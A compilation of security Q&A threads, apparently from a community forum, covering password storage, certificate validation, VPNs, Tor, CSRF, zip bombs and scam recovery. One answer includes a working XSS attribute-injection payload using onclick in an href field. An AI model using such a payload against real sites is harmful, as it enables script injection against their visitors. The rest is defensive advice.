When you switch to a real password hashing algorithm, some common implementations of them (at least in the past, I'm not sure where this is still true) will not correctly handle zero (NUL) bytes, truncating the input to the hash, greatly decreasing the security. So storing the salt in binary may be a bad idea. Additionally it makes your system less flexible to increase the length of the salt, etc., in the future. I think normally the salt is stored along with the hashed password in a single field, both base64 encoded. But I may be wrong, I don't do database stuff for a living. :-)

On that note, I can't really answer the question about using a select query to find the salt for a user for the same reason. But I don't know what else you would do, just be sure not to simply use the user-supplied username directly in the query, that's wrong in all sorts of ways.


How does an end user differentiate between OV and DV certificates? This is a very good link that explains the different types of SSL certificates and level of trust provided by them. An Extended Validation (EV) certificate it is easily identified by the green color in the address bar and the name of the organization highlighted.

But what about the Domain Validation and Organization Validation certificates. Obviously the latter provides a better level of trust. So the question is how does the end user find out what kind of certificate the site is using. I tried viewing the certificate in the browser (firefox) but could not find anything relevant.
p.s. I searched more over the internet and even the answer by Tidalwave points out that there is no real way for a user to find out. So this means that for the end user there are only two types of certs EVSSL and non-EVSSL
Doesn't this defeat the whole purpose of having DV and OV?

There is no difference between DV and OF in the browser's identity field.  The screenshot below shows this field for Chrome, Firefox and MSIE. For both DV and OV, only the URL (no company name) show in the identity field.

When the site has EV, the company name is displayed along with the URL. Chrome and MSIE use green background to the company name, while Firefox will use green text for the company  name.

However, if you look at the certificate itself, you will see the difference.

The two screendumps below are both from the Firefox certificate viewer.

The screendump below is from a site with only Domain Validation (DV). As you can see, there is no information about the organization in the certificate.

The next screendump is from a site with Organization Validation (OV).  Here you can see the name of organization that own the domain.

You will also find the name of the organization of a site with Extended Validation (EV). The difference between OV and EV is that the company name is displayed in the browser's identity field if the site has an EV certificate, but not if it has a OV certificate.

Another way to tell DV and OV certificates apart is to inspect the numeric policy identifier (appears under the certificate's "Details"-tab if present). Please note that this identifier is not adopted by all CAs. Values used for the policy identifier are show below:

DV 2.23.140.1.2.1
OV 2.23.140.1.2.2


Is it safer to use Qubes with Whonix from Virtualbox than directly on the host computer? I know it isn't advised to run Qubes-Whonix from Virtualbox due to performance issues, but other than that, is it safer? I.e. is it harder or easier to hack/infect Qubes-Whonix running from Virtualbox than running as usual?

Your security posture is likely somewhat weaker when running it in a VM. I recommend that you read the Qubes-Whonix security page, as it has some useful advice here.

Running it in a VM means you increase your attack surface. Qubes-Whonix itself is designed to offer increased security, so running it inside a VM in a regular OS doesn't make much sense. You're basically running a hardened OS and then giving an OS with a weaker security posture complete control over it. You also shouldn't use a multi-boot environment for exactly this reason.

Additionally, from a forensics perspective, you can't make as many safety guarantees about memory volatility when using a VM. The virtualisation solution may flush some guest pages to disk, and the host OS itself may swap out guest pages too. Data written to the virtual disk may remain in slack space in the virtual disk file even if you overwrite blocks from within the guest, because virtualisation solutions don't always use simplistic block storage models for virtual media.

If your threat model is such that all of your sensitive work is isolated within the Qubes VM, and you're not concerned about someone targeting you personally (as opposed to a drive-by malware campaign), then Qubes in a VM is fine for convenience. Otherwise I'd run it bare-metal.


Secure Memorable Passwords for Older Users As with many people who work in IT I have found myself in the position of providing technical support for older relatives. Most of these relatives are not technically savvy and hate the idea of passwords.

I usually get frustrated and end up giving them a variant of p@ssw0rd which is obviously not that secure.

What is the best way to educate them on a generating a secure password that they can easily remember and type?

I am an advocate of the passphrase approach.  We all know longer passwords are harder for hash cracking attacks.  For several years I have advocated the use of a short sentence with typical capitalization and punctuation.  This produces inherent length and complexity, but might allow for easy guessing.  To make guessing harder, additional strength can be added with the use of a multi-digit number or an odd word, such as a nickname or foreign derivative.

The following are all strong passwords that are easy to remember and natural to type.

  My home was 7925.
  Bito loves little kids.
  Mum was born in 1918.

I advocate this approach for everyone, but it might be particularly helpful to older people.  Have them choose a fact from their youth, which is often easier for older people to remember than current facts.

Advantages:

Sentences or phrases are easy to remember.
Natural language includes punctuation and spaces which creates
complexity but is both easy to remember and easy to type.
Even the shortest of sentences is a long password.

Disadvantages:

Failing to include an odd word or multi-digit number can make the passphrase susceptible to brute force if the attacker assumes a sentence structure and uses a dictionary.
Typing a long passphrase without seeing what you are typing can be a
problem for some users.
Some systems do not allow the entire character set such as spaces
or punctuation.
Some systems limit password length.

Enough simple words in the passphrase will make it strong without additional complexity, BTW.  Consider: Using a very small English dictionary containing only 10,000 words.  Four words in a predictable pattern would have 10000^4=10^16 combinations, slightly more than a complex (chosen from 96 possible characters) 8 character password and each additional word adds more combinations than 2 characters in a complex password since 10000>96^2. So

  Dogs and cats are cute.

is stronger than a 10 character complex password even if the attacker knows that the passphrase is a simple sentence.

If you take the above and add in a odd word or multi-digit number, a four word phrase is a very strong password.

Including punctuation and capitalization mid-sentence significantly strengthens the passphrase, BTW.


Forgot password and revealing whether account exists So when you hit that forgot password link and enter your email address, it seems that sites (and other programmers I've spoken to) are one of either two mindsets;

Notify the user whether or not the email address matched with one in the database and based on this advise whether a reset password email was set or;
Immediately respond with a "Email sent" or "If this user exists, we have sent you a password reset email" regardless of whether or a match occurred resulting in an email sent.  This is done (apparently) for security reasons.

I've implemented the latter myself and generally found it raised annoyance with users due to;

If a user mistypes their email address, they are told an email is sent, but they will never receive one.
If they've typed in a different email address than the one they registered with, again they won't be getting an email.
A combination of the above can result in multiple attempts but no receipt of a password reset email, resulting in giving up.

Finally, upon investigation of popular websites that use the second scenario, I've found that attempting to register an account with these sites where the entered email address matches an existing account, a "this email address is already in use, or unavailable" type message is displayed anyways.

As such, what are the benefits not revealing whether a password reset email has matched an account?

I think this is generally on the wrong side of being unhelpful to legitimate users of legitimate sites - but if your site was promoting anonymity, telling a random web user if a particular email address was valid would be a leak.


Is a browser with disabled scripts and disabled java enough against malware Is a browser like Firefox with disabled scripts (for example via a plugin like no-script) and disabled Java enough to be protected against drive-by-malware from the internet.

Of course this does not protect me against careless browsing attitude. For example If I post my credit card informations on a wrong/bad website.

The question is if a browser which works only with HTML (HTML5 too) and Images is secure against malware. So is malware infection only possible via scripts, flash-plugin, Java applets etc. (beside the fact that the browser itself could have bugs/leaks but this is not the point in this question)

Let's say I use a text-only browser like links2 for Linux am I save for malware and is this also true for pure HTML and image active in browser?

There is a lot of exploits against libjpeg for sample. Who could  be triggered even without javascript.

100% sure don't exist anyway, but. Each functionality present in your host are subject to security faillure and related exploit.

While quantity of faillure existing or maybe existing is related to complexitiy of software, more a functionality is complex (rich), more they are subject to hold some non discovered vulnerabilities.

Most faillures in statics libraries and small utilities like libjpeg or video codecs seem already reviewed, chance to find new non discovered vulnerabilities in such libraries are very smaller than chance to find vulnerabilities in complex programming language (like javascript). Note that in propretary libraries like flash or java, who depend from a hierarchical decision struture may be even lot more considerable.

So the right choice for your configuration is to do between no trust ( su - nobody -c "links" or even better: keep your pc down and cut every cable! ;-) and feel good  ( all plugins and codec automatically downloaded and installed... )


Tech support agent asked me some questions unrelated to tech support or my problem About 4 years ago I was having a problem with my Microsoft Windows system so I went to Google and searched "Microsoft tech support phone number" to see the results and got the number from some random site and I didn't check it to verify. (Yes I know it was a bad idea, but that's not the question.)

One the phone I detailed my problem and the agent downloaded a program and was doing some remote repair operations some was taking long so to pass the time he decided to have more of a friendly type conversation with me asking things like "What school was I going?", "What are your grades" and other personal information not related to tech support or my problem.

Is this friendly conversation really a trick he was using to get me to build my trust with him so he can social engnieer me into giving more sensitive information?

Major Problem Potential

First, you need to determine whether or not that phone number was a legitimate Microsoft support line. I suspect it wasn't because Microsoft doesn't normally remote into your machine.

Second, if you didn't pay for him to fix your computer then you're already in trouble. No one works for free. That includes major corporations and scammers.

If you gave an unknown person access to your machine, you have already been the victim of a social engineering attack. He doesn't really need to come back later, as he's already done everything he needs to.

Probable Event

Most tech support scammers do one of two things: convince you to pay them money or install a backdoor that gives them continuous access to your machine. Some of them do both. If this was not an actual Microsoft person, this has almost certainly occurred.

Different attackers have different goals, so there is no way to guess what his malware will do. Ultimately, you'll have to assume the worst and address all possibilities.

There are, however, a number of common outcomes:

Your PC becomes a member of the attacker's botnet. It will attack web sites, send spam emails, and take other actions as directed by his command and control servers.
Your PC has a remote access trojan/tool (RAT) installed, and the attacker will personally use your computer in some way---spying, stealing account info, using as an intermediary when hacking other systems.
The attacker has installed cryptoware, and your files will eventually become inaccessible unless you pay him.
The attacker installed adware/spyware, which tracks your activity and loads/embeds ads into web pages in order to generate revenue.

It is definitely possible to mix and match from this list, and there are other possibilities. These things offer the most payback.

Responding to the Event

In the very likely case that this person was not a Microsoft employee, you need to act immediately to preserve your data, sanitize your system, and secure your accounts. This may take some time and money, depending on your personal habits.

Preserve your data. Create new backups of important files, preferably on write-once media like CD-R, DVD-R, or BD-R. USB drives are an acceptable alternative, but I wouldn't connect any device with "untainted" files to this computer. Cryptoware will encrypt anything it finds, so old copies of your files should not be made available to this machine until it is sanitized.

Sanitize your system. You will basically want to wipe everything and reinstall Windows from scratch. Installation discs can be ordered from the manufacturer if you don't have them handy. You can also download a bare Windows 10 installer from Microsoft, but you should do so from another PC---one that is presumably clean.

Secure your accounts. You will need a clean computer for this. Use another machine right away if you have one, or do it from this PC after you've wiped it. Log into all of your accounts and change your passwords. This includes email, social media, bank accounts, etc. If possible, kill all other active sessions. E.g., Facebook lets you see where you're logged in and terminate those sessions.


What are the marks of a great VPN? Should the VPN have a no-log policy or is it better to have a log policy? I think a log policy is OK, I am not doing anything illegal just protecting myself from illegal surveillance by criminals.
Does it really matter what country the VPN is based in? Wouldn't it be better if it is based in your home country, as it will have to follow privacy laws in that country?
Lastly, are VPN connections really secured because I noticed that during one intrusion on my device the hacker forcibly downgraded the version of the VPN (to one with less servers). The change was done smoothly and had I not been looking for it would have missed it. I repaired it by reinstalling the VPN software but how would a hacker be able to do that?

Does it really matter what country the vpn is based in? wouldn't it be better if it is based in your home country, as it will have to follow privacy laws in that country?

Well, in most of time this is a "speedy" problem rather than a security problem, your connection with a server based in mainland China can be slow or fast depending on were you live, if slow timeouts can occur or loss of connectivity which can disclose your IP address per turn. In that case it can be better to estabilish a connection with servers that are setup in your own country or neighboring countries so there will be a less likelihood of disclosure or leakage. Some VPN-Services provide a kill-switch function that kills the connection between you and the internet if the VPN-connection is lost.

Are VPN connections really secured because I noticed that during one intrusion on my device the hacker forcibly downgraded the version of the VPN (to one with less servers). The change was done smoothly and had I not been looking for it would have missed it. I repaired it by reinstalling the VPN software but how would a hacker be able to do that?

I think the hacker/intruder was trying to connect you with VPN-servers that were compromised. Basic reinstallation/reconnecting will overcome this.


How to securely transfer data from a public website, to a VPN-secured website? I'm (currently) a VPN newby.

I have a VPS with a few websites on it, hosted by liquid web.
I have installed a medical records package (openEMR) in a sub-domain, in its own cPanel account. I intend to use the free VPN that liquid web provide, to secure this account; I understand this means installing a VPN client in all PCs/laptops/mobiles that want to use openEMR. (I'm open to advice here as well).

I will also have a public appointment management app (probably easy!appointments), in a separate account, which for security reasons will not link to openEMR. But users are asked to complete a questionnaire when they first book an appointment. This is my problem.

I want to find way to transfer this questionnaire data securely to the openEMR MySQL database. I am looking for suggestions on how to achieve that please?

(I wondered, ignorantly, if it was possible to have a data transfer app running in the appointments account, that could be 'woken-up' on data submit, connect with the VPN, transfer the data out of the appointment apps database, and delete the source data after confirmation ... )

I've been working with a php developer who is suggesting using a php socket over ssh to tunnel between the databases, thus enabling the data to be transmitted immediately.

How secure is this please?  What I've read doesn't make it very clear ....

You could use a synchronization service, like SyncThing or Resilio to pull data from the public server. When the users fill the forms, put them on the public server (on a protected folder), and use SyncThing/Resilio to send it to the private server. Use a cronjob on the private server to load the forms on your database.

Both use data encryption and peer2peer networking to transfer files, so the data is protected from snooping while in transit.


I can't connect to OSSIM server I installed OSSIM in VMware workstation.The installation was successful.But when I entered the login and the password I have this message " incorrect login" I know that la login must be "root".

Please how can I fix this problem.

Thank you very much :)

You should have been given a temporary root password right after you setup the server.  See page 28 of AlienVaultUSM Setup Guide for further details.


xss when http is added in the payload If a field is not santized(except <,>) and all it does is add http in payload and reflects the output, is it possible to execute script in the client side?

This is what output looks like for input ../javascript:alert(1)

Another Sample input :
Input :     "><>:

Output :

Edit: It would be nice if someone can think of payload with javascript: ,atrribute like a way to prompt using javascript:prompt(1).

Because < and > are encoded, ending the anchor tag and adding a new tag won't work. However, if " quotation marks aren't encoded or filtered out, you can definitely still get XSS. For example, example.com/"+onclick="alert('XSS!') as a URL input will generate the output <a href="http://example.com/" onclick="alert('XSS!')" target="_blank">.

The onclick alert is the easiest way (EDIT: as @pineappleman points out), but you could also add other events (such as onmouseover) and could display your own content in front of the page using CSS, which could allow an attacker to influence victims into doing things that they would not want to do (think clickjacking, but on the vulnerable page directly instead of via an iframe of that page).


Shouldn't GPG key fetching use a secure connection? If I run this for example:

gpg --keyserver hkp://keyserver.ubuntu.com --recv-keys 0xFBB75451

then does the importing occur in a secure way? I mean does it go over only secured connections? (HKP?) Could it be compromised because the key fetching doesn't use end-to-end encryption+proper authentication (MITM attack)?

UPDATE:
So I'm asking exactly this: when I want to grab someone's public GPG, then could it be attacked with MITM? (So that the attacker hijacks the "connection" and it spoofes the keyserver.ubuntu.com to an ip that he ownes, and gives a false public key, and when I check it with GPG then I will contact the bad GPG keyserver, and it could look like that the GPG key is valid!)

It depends on your definition of "compromise".  The main concern is privacy, for which parcimonie and tor are solutions, as noted below.

But first lets look at data integrity.

The notion of "end-to-end" security is most helpful when it covers the actual application you have in mind for the data.  Since the objects moved around by the OpenPGP HTTP Keyserver Protocol (HKP) are covered by signatures based on public-key technology, they can be checked by your application (e.g. gpg) itself.  It will establish whether the signatures are valid, whether they apply to other keys and people you trust, etc.  (Update: So gpg only (optionally) gets the certificates from the keyserver, it does not rely on any keyserver to establish the validity of the keys.)

For example suppose you're using gpg to check signatures on email.  If gpg tells you a given key is not known, you fetch it from a keyserver.  Perhaps your mail then tells you the key is known but not trusted, since there isn't a trusted path (e.g. leveraging wotsap) from your ultimately trusted keys to the one that signed the email (like this one). So you look at the signatures, and find the key of someone who is trusted by someone you know, and who trusts the given key and download that too.  If you end up with a path you trust, everything is great.  If someone mucks with the keys while you're downloading them, you either won't get a trusted path (due to broken or unhelpful keys), or (and this would be pretty unusual) you'll get another path that might or might not work for you.  The point is, though, that you still have to use gpg to check the paths, and evaluate the "intangibles" of the trust path yourself (how much you trust people and their understanding of signatures, etc).  But you always have to do that with PGP.  It is thus "end-to-end" in the sense that it is secured all the way from the person who made the signature, to your software which checks the signature, and your configured trust roots, and is thus pretty much ideal.

The security of the transport is not particularly important, and using TLS and the associated PKI and certificates would add extra complexity, cost and brittleness to the PGP keyserver infrastructure, without improving data integrity.  If someone messed with the transport, they could deny you service, or do something like a phishing attack, but you nearly always have to deal with those sorts of issues anyway.

See e.g. the "Security Considerations" section of the (expired, but presumably still useful) Internet Draft on the subject: draft-shaw-openpgp-hkp-00 - The OpenPGP HTTP Keyserver Protocol (HKP)

A much more significant data integrity concern would be the risk of being fed a carefully crafted "malware certificate" that can exploit a buffer overflow vulnerability in your gpg client, or something like that.  I haven't heard of any such exploits in gpg, but they have happened for SSL: yaSSL Certificate Processing Buffer Overflow Vulnerability - CNET.  This is explored more at What risks are inherent with connecting to an untrusted public key server?

Update:
A more problematic concern is privacy.  If you don't want people to be able to see what keys you are searching for, or to mess with your key transfers, using TLS would be an alternative.  But it doesn't protect you from the server knowing what you're interested in.

@teris-riel expands on the privacy concern: Imagine someone sends you a signed then encrypted email. Your mail client happily retrieves the key for the signature. Evan is watching the traffic and sees the key fly by. Now he knows 1) that you can read messages encrypted with the key he sent to, 2) that you did read that particular message, and 3) the approximate time you read it. If this kind of confirmation attack worries you, use hkps and Tor to get keys, and don't do it automatically. parcimonie is a tool that works to solve this problem.

And as a parcimonie implementation in bash notes: gpg --refresh-keys discloses your entire list of PGP keys to the keyserver you are using, as well as whoever is wiretapping your connection if you are using an unencrypted protocol such as HKP (which is the default for most setups). That is a bad thing.

So use something like parcimonie.

There are some alternative protocols, but finding servers for them which contain the keys you want seems hard:

Symantec's PGP Global Directory uses https.
LDAP, or LDAPS (over TLS) - And see PGP LDAP Keyserver Comparison.  But see also PGP: Public Key Servers by David E. Ross
RFC 4387 which provides an https option.  But I'm not sure how many servers for it there are out there.

See also

How should I distribute my public key?
Key Server (Wikipedia)


Will 1.1.1.1 hide my traffic from my landlord's router? I've read different articles about https://1.1.1.1/ and am confused since they conflict. A couple examples:

effectively making your traffic invisible to snoopers on your local network but not providing an anonymised connection to the sites you're accessing at the other end - https://www.wired.co.uk/article/cloudflare-1111-with-warp

Even though Cloudflare hides the questions you’re asking from the ISPs it can’t hide the answers. So this is not a meaningful privacy enhancement. - https://hightechforum.org/cloudflares-1-1-1-1-dns-does-nothing-for-privacy/

I will soon be living in a shared apartment where I don't control the wifi router. I don't trust the owner and don't want him to be able to see the content of my traffic or the URLs.
If the sites I visit use HTTPS (which seems to be the case for every site nowadays anyway), he'd never see the content, right?  But he'd still normally be able to see the URLs visited.
I know that the standard recommendations (e.g. this answer) are to use a VPN and/or Tor.
But my internet connection will already be slow, and I'd love not to slow it down further by using those.
Will 1.1.1.1 hide my browsing history from the owner of my LAN router?

The sources you cite in your question suggest that you are confusing two different services offered by Cloudflare in the context of 1.1.1.1:

there is the traditional offer, which consists only of a DNS server available directly or with DNS over HTTP (DoH) or DNS over TLS (DoT).
and there is Cloudflare Warp, which is practically a VPN

With Cloudflare Warp all traffic is protected against sniffing by the landlord since all traffic between your system and Cloudflare is encrypted. See this answer for details.
With Cloudflare DNS instead there is much less protection. While the landlord can no longer get the contents of the DNS if encrypted DNS is used (i.e. DoT or DoH),  the landlord can still extract sensitive information from other traffic. For example plain HTTP traffic is not protected at all. But even with HTTPS the target hostname can be extracted from the traffic in most cases. And the landlord can also see the IP addresses you connect to and deduce from this what sites you visit. The landlord might also do selective blocking of sites or services based on this visibility. With Cloudflare Warp instead none of this is visible to the landlord and no selective blocking is possible.


CSRF Protection for JSON API with Cookie Auth I am building the API for a SPA and Chrome plugin using Rails, and I am inclined to go use Secure HTTPOnly cookies for authentication because:

This is the default solution for standard Rails auth libraries like Devise and Sorcery.
Rails has encrypted client-side sessions, which means no server-side storage requirement or DB lookup (yes I know I will still need some kind of server-side tracking and lookup if I want to implement proper session invalidation).
It's transparent to web-based client libraries.
Cookies are somewhat hardened compared to local storage, and the problem space is well-trodden and understood.

When you enable Rails API mode it disables both cookies and CSRF protection, so I've re-enabled cookies, but CSRF protection is not as easy to re-enable because it assumes a form will be rendered first (ie. not a POST request coming in cold) and will probably require some fiddling to set up.

If cookies are disabled then I understand CSRF is a non-issue, however as far as I can tell, there is no way for a malicious site to forge a request for type application/json without using XHR, which would not be allowed without explicit CORS authorization.

Is it a sound security model to authenticate a JSON API with cookies but no CSRF token assuming proper content type validation?

Yes, if you validate the Content-Type of the POST request, this can't be forged by an attacker in an XHR situation.  Additionally, since you mentioned a Chrome "plugin" (extension?) it's worth noting that Chrome extensions maintain a separate cookie bucket, so a CSRF attack would require that an attacker manages to get your extension to issue a request on their behalf, not just a CSRF attacker in the main browser session.


All subdomains blocked by Google SafeBrowsing GoogleSafebrowsing seems to have blacklisted one of my domain names, along with all its subdomains. It is visible on this google search page.

I'm a seasoned linux system administrator, I've checked my server several times, and I didn't find anything suspicious on it.

Of course, I could be wrong, but the point is that Google Webmaster Tools doesn't give me any extra detail: the displayed symptom is "Unknown Malware", and the list of exemple URLs is empty, which gives absolutely no hint at all...

I asked for a review from within Webmaster Tools, which came back negative.

The fact that all the subdomains are affected is rather strange. Some of them are just a static html page, without even any javascript or css.

I made a post on Google's Webmaster Central Help Forum, but didn't get any additional clue. All I got back is a value judgment on the content.

Which solutions do I have to either have more details on why Google did block my whole domain, or to reach a real support at Google?

Solved. One of the subdomains had been hacked and contained several javascript injections.

Some interesting facts:

it's rather surprising that google blacklisted all the other subdomains, I wonder if it's a systematic behavior or not.
the example harmful URLs list given in the WebmasterTools is empty for the other subdomains, but when you ask for a review, which fails, the View Examples button in the mail does list some problematic URLs from the hacked site even if it is not the one you asked the review for.

As a conclusion, while I'm grateful to Google for having detected and filtered the injection, I regret a bit that the blacklisting algorithm exhibits a domain-wide behavior, and that the Webmaster Tools interface is unable to explain that a specific subdomain has been blacklisted because of a problem in another subdomain.


Can an attacker who has gained control over my router compromise anonymity through Tor? If an attacker manages to infect my router with malware and sets up an entry node, can they force my computer to connect to their entry node?

If my computer does connect to their entry node, can they modify traffic before it is passed on to the rest of the network?

Also, if I were to use Tor over mobile broadband and an attacker had set up a femtocell or rogue cell tower, would they be able to do any of the same mentioned above? Would it be more or less secure to use Tor over mobile broadband?

I'm reading this as Can an active attacker on my network force me to use their guard?.
No. Tor has hardcoded in it a list of trusted relays called Directory Authorities. These relays release a signed list of Tor network metadata called the consensus, which contains such things as relay identities. Because the list is signed, and because the source is hardcoded in the Tor binary, your client will only connect to valid relays. But let's say they did create a valid relay. They still couldn't force you to connect to it, as your client picks a relay randomly and pins it. This makes it extremely difficult for an attacker to force you to connect to another relay.
An attack exists where someone runs a denial of service attack on a guard you use, in hopes that you will then choose their guard. This is called a path bias attack. Fortunately, this attack is woefully ineffective on guard nodes, as the Tor process will warn you if this is occurring too often.
Additionally, an attacker could not MITM the connection, as the Tor protocol specifies SHA-256 for an HMAC. This ensures that messages cannot be changed en route to their destination. Tor provides a guarantee that, starting at your computer and ending at the exit, traffic cannot be read or modified.
See also Link


Are all smart card readers the same? My bank has me use a credit-card-sized smart card and a USB card reader to authenticate for online transactions. I want to optimize for size when I travel light.

I see that there are small SIM card readers, designed to read data from a cell phone SIM card (for backing up your phone book and SMS data). Since these use the same technology of smart cards (do they?) I was wondering if I could buy a small SIM card reader and cut my bank card to the correct size.

Basically, the question is: are all of these USB-based smart card readers interchangeable? Is there a SIM card reader that you could recommend?

Smartcard communication protocols follow well-established standards (connector size and location, voltages, signals, logical transport protocol...) so chances are that card readers are indeed interchangeable. If the bank sent you both the card and the reader then there is a slight probability that they did something fancy which compromises interoperability, but I deem this probability quite low.

(Personal experience with people in the smartcard industry has taught me that these standards are considered by them as part of some kind of revealed religion; they will not trespass without a powerful reason.)


Do security questions make sense? Is it a good practice, or is it obsolete? I'm asking because I've never managed to remember a single security question, thus I always write down the answers. I think they are useless, long passwords or 2FA is a much better practice.

The inherent contradiction of security questions

For a security question ot be good, it must:

Have one definitive unambigious answer that the user would never forget...
...but is secret and hard to guess for everybody else.

The problem is that the higher you score on #1, the lower you score on #2. So you have to walk a tight rope here. If you lean to far towards #1, users will forget the answer and brick their accounts. If you lean to far towards #2, anyone can guess the answer and the question becomes essentially useless.

There probably is no sweet spot here. So should we just ditch the whole concept?

Well, it depends.

When and how to use them

Security questions can be used in many ways.

Let's start with a very bad way to use them - as the only protection for account recovery and password reset. The answer to the question basically becomes a second password that is both easier to crack and guess than the first. That's just spectacularly bad. If you don't believe me, ask Sarah Palin.

That usage pattern is probably what have given security quesitons their bad name. But is there actually some other legitimate use case for them? Maybe. How about this:

As a poor mans 2FA for login or sensitive actions.
As a check before sending password reset emails.

In both cases, a determined attacker could find the right answers. But not all attackers are determined. A simple security question could make large scale automated attacks after big data breaches impractical. If I have a million passwords from site A, I can't just test them on site B if B also requires a security question. Or if I breach an email provider, I can't send a million password reset links from all sorts of sites, because I don't know the answer to the security questions.

The backside here is the contradiciton discussed above - the less obvious the answer to the security question is, the more likely users are to brick their account by mistake. There are better solutions here, like real 2FA or account recovery codes. But implementing 2FA can be hard, and so is getting your users to actually print and store those pesky recovery codes. So sometimes, for pragmatic reasons, a security question might a good compromise.

That is the best case I can make for them. I'm not sure if it's a good enough case to actually ever use them.

TL;DR

It's hard to construct good security questions, because the harder the answer is to guess, the harder it is to remember.
Still, security questions could be a useful complement to other efforts to protect against dumb automated attacks if you don't have the resources to implement better solutions, such as 2FA.


While cleaning up a hacked Wordpress site, I got access to the hacker's database. What action should I take? I've just finished cleaning up a compromised Wordpress site; it was hacked through a vulnerable plugin & several fake sitemaps & redirects set up to pollute google results with pharma ads etc.

After dealing with this I noticed that the hacker had also compromised files of an old copy of the site which was still in the public_html directory (or they'd created it themselves).

Checking the wp-config file there, I found access credentials to a database with several thousand tables, all of which were Wordpress tables with different prefixes. I looked in a few of the "options" tables to find the address and visited that url, confirming my suspicion that these were copies of other hacked site's data.

It's important to note that I haven't accessed any personal data, only public-facing URLs of wordpress sites.

I am unsure what to do about this - my instinct is to try to get a list of site owner emails from this database, then drop all tables & contact the site owners to let them know of the breach. However I'm not sure if I'd be liable for this as I'm obviously not permitted to have that data either.

I'm in the UK so GDPR is relevant.

Should I take any action?

I would certainly let the site owners know if possible.  This looks like a GDPR breach of the other website.  First and foremost, their breach, their primary responsibility.

You are now responsible for not allowing any personal data (if you have any) to go any further.  Although you would probably want to just delete it unless it becomes necessary for evidence.

It is worth considering if you should report to the ICO yourself, although it is not your data or a breach of your system.  Also, you are unlikely to know how serious the breach to the originating system is.

From the ICO website... (The bold text is theirs)

  If you experience a personal data breach you need to consider whether
  this poses a risk to people. You need to consider the likelihood and
  severity of the risk to people’s rights and freedoms, following the
  breach. When you’ve made this assessment, if it’s likely there will be
  a risk then you must notify the ICO; if it’s unlikely then you don’t
  have to report. You do not need to report every breach to the ICO.


Are there valid reasons for compressed files (zip, gzip, etc.) to spoof file size? Zip files, GZip files, and likely others, include information about the contained file, including the uncompressed size of the file. However, when extracting these files the number is meaningless as the actual data can be much larger (eg: reported as 1 byte, but actually 10GB).

Since decompressing a large .zip file could DoS a system by using up all the resources, you would need some sort of checks in place to prevent extracting a file that could cripple the server. One method would be to limit the allowed size to X GB. If the stated size of a file is greater than that, exit early. However, if the size is stated wrong, you'd need to decompress up to that size before exiting.

A potential alternative is to start decompressing, and as soon as the actual size is larger than the stated (perhaps with a margin of error), exit.

Are there any legitimate cases where the stated size of a compressed file in an archive (zip, gzip, or others) would be wrong? Is there any popular software that produces such broken files?

The uncompressed size of each file is stored in the file metadata for no reason other than allowing an application to know things like the compression ratio. It is not meant to be authoritative in any way. There are no legitimate uses which I can think of for having the reported uncompressed file size differ from the actual uncompressed file size.

What you are describing is a zip bomb, also called a decompression bomb. They do not work by lying about the uncompressed file size, but rather by compressing many archives inside of each other. A single file with a gigabyte of zeros will compress quite small. Duplicating an archive many times and then compressing them together will not result in a significant growth in the final archive due to the high redundancy. A 20 byte zip bomb that extracts to a terabyte can be duplicated a hundred times, then archived together and compressed, resulting in a 25 byte zip bomb. This process can be repeated many times until the total size makes it impractical to extract. This was a common technique in the past used by malware, as malware scanners would attempt to blindly peek into archives. When the archive had a zip bomb, they would either run out of memory and crash, hang, or give up and skip it and not find the malicious payload hidden somewhere inside. Now days, malware scanners will often flag suspected zip bombs to allow the end-user to take appropriate action.

An easy way to mitigate these attacks is to impose a limit on how many levels deep a decompressor will go when extracting a compressed archive. Attempting to verify that the reported and actual uncompressed size match is useless as zip bombs are not dishonest about their size. The confusion stems from the fact that only the size of that one archive is recorded. There is no way for a zip file to know that the 100 files inside it are also zip bombs.


Can dual-boot, encrypted Windows 7 installations be fairly well secured against each other? We have  corporate network where remote workers connect via encrypted latops (Windows 7) using VPN (Cisco AnyConnect client), log into the Windows domain and access their network shares, Outlook e-mail, MS Office applications and the sales database. For security reasons laptops are configured so that files cannot be saved locally (on drive C:) and USB ports are disabled. So people can work only when logged on the corporate network and then save their files on their network shares. In terms of threats we assume that users are honest and do not try to abuse their physical access to laptops.

Problem: We have a small department that organises conferences and events. For the organisers this configuration often presents problems - e.g. lecturers come with their USB sticks for presentations, or need access to internet. Every time there is a glitch with the VPN connection from where they are located (e.g. cannot connect to VPN, or connection is very slow) the organisers suffer embarrassing difficulties using their laptops with lecturers and audience waiting. When it happens this costs in time, reputation and probably more. This has lead to the following solution:

Solution: We have set up the 4 laptops of the conference department in such a way that they dual-boot between two windows 7 installations each from its own fully encrypted hard drive. Installation 1 is the same as before and provides access to corporate network. Installation 2 has Windows configured to be used on local machine only - without access to corporate network. The conference organisers can use this installation as they would want but without autorun and without privileges to install programs locally. They can use wifi in conference centers and hotels and the built in mobile 3G connection. Antivirus software is updated regularly. Configuration of Installation 2, if needed, is done via the local administrator account by the network specialist at the company base.  If the users of these laptops need to exchange document files with their corporate network (or their own accounts there) they use e-mail. Every 4 to 6 months their Installation 2 is overwritten / re-imaged by the network specialist, to deal with any potential problems.

Could this setup be considered reasonably safe, given that the conference organisers are responsible people? Are there better solutions that would allow the organisers to both access the corporate network (with re-booting) and to use laptops for conference presentations as described?

It depends on your threat model. There is one problem I can see: disk encryption does not guarantee integrity. That means the other operating system installation could change the data on the first one. Now unless something went wrong, it should not be able to write arbitrary data (it does not know how to encrypt them), but it can write random data, or more dangerously roll back the data to earlier version. This could allow for example uninstalation of security updates. Then the attacker could exploit the vulnerability, that was supposed to be patched already. This could allow an attacker who was able to infect the less OS used for presentations to attack the OS connected to the corporate network. This may be solved by reinstalling the presentation OS after each update.

Another problem may be, that if the OS connected to the corporate network stores data on its local drive for example as cache for the network share, the presentation OS may see, when data changes, even if it can't see from what to what. This can't be really prevented with FDE, though it gives an attacker limited amount of information.

An option to solve some of these issues may be to use file-system encryption in addition or instead of FDE, but reverting the whole disk will still be possible.


Do you give local administrator account password to notebook users? My notebook users need to travel a lot.

Quite often, they need elevated privileges on that machine, like when adding a printer or change network settings.

Should I give them local administrator's password for solving shuch problems?

The answer is: It depends.

It depends upon your relationship with your users, and how much they can be trusted to not create problems, and the extent to which you want to support laptops where the user has administrator-level access, and the necessity of administrator-level access from a mission/business perspective.

